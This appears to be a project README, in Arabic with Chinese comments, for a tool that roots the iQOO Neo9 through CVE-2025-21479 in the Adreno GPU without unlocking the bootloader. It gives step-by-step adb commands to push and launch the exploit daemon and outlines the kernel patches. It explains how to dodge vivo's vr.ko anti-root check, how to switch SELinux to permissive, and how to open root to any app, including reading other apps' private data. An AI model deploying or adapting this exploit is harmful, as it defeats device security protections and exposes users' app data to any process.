reaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479iQOO Neo9 (PD2338C) أداة Caps-Root بدون فتح القفل** — مخطط رفع صلاحيات عبر الكتابة الفيزيائية الاعتباطية يعتمد على CVE-2025-21479 (Adreno GPU SDS)
أداة Caps-Root لجهاز iQOO Neo9 (PD2338C) بدون فتح البوت لودر — مخطط رفع صلاحيات عبر كتابة فيزيائية عشوائية يستند إلى CVE-2025-21479 (Adreno GPU SDS)
دون الحاجة إلى فتح Bootloader أو إعادة تثبيت النظام أو Magisk. عبر ثغرة GPU نحصل على كتابة فيزيائية عشوائية على مستوى النواة، وبعد تعديل دوال حاسمة في النواة تعمل عملية root daemon دائمة بكامل الصلاحيات (41-bit caps) لتوفير صلاحيات الجذر لأدوات rootc / su.
الميزة الأساسية: إبقاء euid عند 2000 لتجاوز كشف مكافحة الجذر vr.ko من vivo (euid=0 يسبب إعادة تشغيل الجهاز)، صلاحيات الجذر مكافئة لـ uid=0 لكن هوية العملية آمنة.
CapEff: 000001ffffffffff (صلاحيات كاملة 41 بت)، ليست تمويهًا على مستوى التطبيقاتvr.ko غير فعّال، والجهاز بلا أي انهيارsu، يمكن استدعاؤه مباشرة من MT Manager / Termux| العنصر | القيمة |
|---|---|
| الجهاز | iQOO Neo9 (PD2338C) |
| النظام | Android 15 |
| النواة | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| تخطيط الذاكرة | لا KASLR فيزيائي (stext_pa=0xa8010000)، انزياح VA كلي |
⚠️ يعتمد الاستغلال على التخطيط المحدد لتلك النواة (إزاحات الرموز، ميزة
VIVO_VMET_BREAK_KMI، سلوكvr.ko)، الأجهزة والأنوية الأخرى تتطلب إعادة تكييف.
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
يقوم البرنامج النصي تلقائيًا بـ: دفع الملفات الثلاثة ← إعادة تشغيل للحصول على نافذة باردة ← تشغيل الاستغلال عدة جولات (نسبة نجاح ~50%/جولة) ← جاهزية daemon ← تحقق.
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
إعداد Termux: يجب تنفيذه مرة واحدة عند أول استخدام (بصلاحيات جذر):
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT Manager: الإعدادات ← ROOT ← مسار su مخصص ← /data/local/tmp/su
بيئة rootc/su تُبقي عمدًا euid=2000 (لمنع كشف vr.ko لمكافحة الجذر). لكن بعض واجهات النواة (مثل /proc/vrp، وبعض عقد sysfs) تفحص برامج تشغيلها current_euid()==0، وحتى الصلاحيات الكاملة لا تكفي → في هذه الحالة استخدم u0 للاستفادة من CAP_SETUID في بيئة rootd لرفع الصلاحيات إلى جذر حقيقي:
# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"
# 用法: u0 <绝对路径程序> <参数...> (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ... ← 真 root 会话
setuid(0) لا يسبب fatal من vr.ko (عملية rootd الرئيسية نفسها تعيش طويلًا بـ uid=0؛ وعمليات uid=0 ليست في قائمة القتل)/proc/vrp عند uid=0 + صلاحيات كاملة ما زال يعيد EPERM (برنامج تشغيل vrp لديه فحص صلاحيات نشط، ليس DAC/SELinux — جارٍ العمل على الهندسة العكسية)؛ كما أن insmod عند uid=0 يسبب أيضًا إعادة تشغيل الجهاز (فحص تحميل الوحدات لا ينظر إلى uid للمستدعي)docs\u0_说明.md/data/local/tmp افتراضيًا drwxrwxrwt (1777، مالكه shell) — على مستوى DAC يمكن لأي مستخدم القراءة والكتابة. ما يمنع المستخدم العادي (نطاق untrusted_app) فعليًا هو SELinux (السياسة ترفض وصول نطاق التطبيقات إلى وسم shell_data_file):
# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"
# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
# ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
# (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
# 物理写 permissive (run_selinux_rmw, 已内置在部署流程)
# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
shell_data_file لا يمكن الوصول إليه إلا من نطاق shell)؛ وتُستعاد الصلاحيات بعد إعادة النشرsu -c "cat /data/local/tmp/xxx > /sdcard/xxx" كوسيط (وصول التطبيق إلى /sdcard دون عوائق)su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
│ 特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
│
├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
│ → exec 后保留 effective caps (普通命令也能带全 caps)
├──▶ patch kptr_restrict = 0
│ → /proc/kallsyms 全地址可见
└──▶ patch vhangup stub (MODE=10 提权)
→ fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
→ fork 常驻 daemon (文件队列服务)
│
▼
rootc / su ──(文件队列 + B64)──▶ daemon ──▶ 任意 root 命令 (全 caps)
لماذا euid=2000؟ نواة vivo تحتوي وحدة vr.ko لمكافحة الجذر: تكتشف أي عملية خارج نطاق vrp تكون cred->euid==0 فتُطلق fatal (إعادة تشغيل الجهاز). رفع الصلاحيات MODE=10 لا يغيّر euid عمدًا، يكتب فقط fsuid/fsgid + صلاحيات caps — فلن يستطيع vr.ko التفعيل، بينما تنجح جميع فحوصات capable() في النواة (صلاحيات جذر حقيقية).